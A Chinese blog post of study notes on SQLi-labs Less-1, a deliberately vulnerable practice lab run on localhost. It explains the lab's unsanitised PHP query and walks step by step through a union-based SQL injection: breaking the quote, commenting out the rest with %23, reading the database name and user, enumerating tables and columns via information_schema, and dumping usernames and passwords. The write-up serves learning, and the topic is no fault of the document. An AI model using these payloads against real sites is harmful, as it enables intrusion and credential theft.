MySQL注入-SQLi-Less1笔记

 前置知识点:

1. SELECT 1,2,3 用于查询数据通道的方式

例如Less-1中,Secury数据库中的users表结构如下,可以看到有散列,当用户在页面输入id的时候,会查询到对应的散列数据也就是<id>/<username>/<password>,而php并不会将所有的数据返回给web,就说明<数据通道>的概念,数据必须通过<username>/<password>这个数据位置,才能够返回到我们的web页面。

+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
+----+----------+------------+

在测试中可以看到,虽然url中输入了select 1,2,3,但也只有2,3出现在了页面上,也就说明只有2,3的数据通道是可以正确地向web回显数据。


2. ' 单引号的利用

在网页后端的php代码中可以看到(下图),$_GET拿到URL传过来的id值,那么此时的id值为0'(因为URL中将0'作为id的值传递),而在后续的SQL语句拼接过程中,会拼接为:

SELECT * FROM users WHERE id='0'' LIMIT 0,1

而这条语句明显错误无法执行,故而报错。这个方式想要证明的就是”php脚本没有检查$id的值是否正确就传递给SQL运行”,满足这一条件,即可开始尝试SQL注入。

所以其实无论用0'也好,and 1=2,?id=-1也好,其最终目的都是为了让PHP脚本在拼接SQL语句时形成错误,提交给SQL执行并返回报错。

if(isset($_GET['id']))
{
$id=$_GET['id'];

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

3. # 井号的利用(注释后续代码)

通过对比就能看懂,#的URL编码为%23,先演示如果不加%23,会变成什么样

http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,2,3

if(isset($_GET['id']))
//此处的$_GET值为 0' union select 1,2,3
{
$id=$_GET['id'];
//此处的$id值为 0' union select 1,2,3
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
//此处的$sql值为 SELECT * FROM users WHERE id='0' union select 1,2,3' LIMIT 0,1

可以很清楚的看到上图最后一行的语法 id = '0'可以被执行,但是union语句后面的select 1,2,3' LIMIT 0,1就无法被执行了,只因为多了一个单引号。而加上%23后,语句会变成:

http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,2,3%23

if(isset($_GET['id']))
//此处的$_GET值为 0' union select 1,2,3#
{
$id=$_GET['id'];
//此处的$id值为 0' union select 1,2,3#
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
//此处的$sql值为 SELECT * FROM users WHERE id='0' union select 1,2,3#' LIMIT 0,1

上述语句就变成了union select 1,2,3# LIMIT 0,1,而#的作用就是将后续的   ' LIMIT 0,1注释掉了,这样语句就可以正常执行了。


4.在MySQL5.0以上的版本中,会自带一个数据库<information_schema>该库记录了整个MySQL数据库中所有的数据库名、表名、列名,所以5.0以上的MySQL数据库只要存在SQL注入,就可以通过<information_schema>数据库获得想要的信息。


5.MySQL本身自带函数,可以通过执行这些函数来获取一些数据库本身的信息

SELECT DATABASE();/SELECT SCHEMA();
查看当前正在使用的数据库

SELECT VERSION();
查看数据库版本

SELECT USER();
查看当前用户

SELECT @@version_compile_os;
查看当前操作系统版本

 正文开始

结尾处给一个0'的参数

?id=0'
//0'的用法在本文开头详细阐述

尝试union联合注入,并且select 1,2,3测试数据通道

?id=0' union select 1,2,3%23
//select 1,2,3 与%23的用法,都在本文开头有详细阐述

看一下调用的数据库名和登录用户

?id=0' union select 1,database(),user()%23

找到库名了,通过<information_schema.tables>查表

?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23

//group_concat()函数用于拼接查询的结果,本来要输出很多行,用了这个函数就能输出到一行里,否则没法显示出全部的结果

//table_names是<information_schame>中<tables>表的一个列(内容为所有数据库的表名称),所以不加where的话就会有太多数据,这里加where筛选一下

//table_schema是表与之关联的数据库,所以where table_schema=database()的意思就是之查询当前数据库关联的表

所以直接写的话写成SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='SECURITY';返回的结果:

+------------+
| TABLE_NAME |
+------------+
| emails     |
| referers   |
| uagents    |
| users      |
+------------+
使用GROUP_CONCAT()函数SELECT group_concat(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='SECURITY';效果是:
+-------------------------------+
| group_concat(TABLE_NAME)      |
+-------------------------------+
| emails,referers,uagents,users |
+-------------------------------+

 拿到表名,同样方法找列名

?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'%23

//和拿表名是同样的方式,只不过是变一些变量而已,不详细阐述了

拿到列名,开始找值

?id=0' union select 1,2,group_concat(username,0x3a,password) from users%23
//因为php脚本就是在users表中拿取数据的,所以不需要指定路径
//其中0x3a为16进制的58,而ASCII表中58代表 : (冒号),所以添加它仅仅是为了在MySQL输出是可以输出为 <用户名 : 密码>的格式,不加也是可以读取到的,只不过无法分清用户名和密码

URL中添加了0x3a的输出结果👇

URL中没有添加0x3a的输出结果👇

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

游离态De猫

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值